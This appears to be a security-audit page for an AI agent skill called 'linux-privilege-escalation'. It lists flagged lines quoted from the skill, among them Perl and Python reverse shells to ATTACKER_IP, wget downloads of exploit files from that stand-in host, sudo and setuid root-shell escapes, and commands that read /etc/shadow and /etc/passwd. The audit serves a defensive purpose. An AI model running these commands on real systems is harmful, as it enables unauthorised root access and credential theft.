linux-privilege-escalation
Facilitates privilege escalation assessments on Linux systems to identify and exploit security vulnerabilities for root access.
Install this skill
Security score
The linux-privilege-escalation skill was audited on May 22, 2026 and we found 24 security issues across 4 threat categories, including 9 high-severity. Review the findings below before installing.
Categories Tested
Security Issues
Direct command execution function call
| 425 | perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec(" |
System command execution
| 233 | sudo awk 'BEGIN {system("/bin/bash")}' |
System command execution
| 236 | sudo python -c 'import os; os.system("/bin/bash")' |
System command execution
| 256 | system("/bin/bash"); |
System command execution
| 328 | /usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' |
System command execution
| 372 | # Shows: system("service apache2 start") |
System command execution
| 392 | echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c |
Python os.system command execution
| 236 | sudo python -c 'import os; os.system("/bin/bash")' |
Python os.system command execution
| 328 | /usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' |
Python subprocess execution
| 419 | python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' |
Wget to non-GitHub URL
| 169 | wget http://ATTACKER_IP:8000/linpeas.sh |
Wget to non-GitHub URL
| 205 | wget http://ATTACKER_IP/exploit.c |
Access to /etc/passwd
| 86 | cat /etc/passwd | grep -v nologin | grep -v false |
Access to /etc/passwd
| 89 | cat /etc/passwd | grep home |
Access to /etc/passwd
| 239 | sudo less /etc/passwd |
Access to /etc/passwd
| 299 | base64 /etc/passwd | base64 -d > passwd.txt |
Access to /etc/passwd
| 312 | # Add to /etc/passwd (using SUID editor) |
Access to /etc/shadow
| 282 | LFILE=/etc/shadow |
Access to /etc/shadow
| 298 | base64 /etc/shadow | base64 -d > shadow.txt |
Access to /etc/shadow
| 477 | $ base64 /etc/shadow | base64 -d |
External URL reference
| 169 | wget http://ATTACKER_IP:8000/linpeas.sh |
External URL reference
| 205 | wget http://ATTACKER_IP/exploit.c |
External URL reference
| 223 | Reference https://gtfobins.github.io for exploitation commands: |
External URL reference
| 429 | - GTFOBins: https://gtfobins.github.io |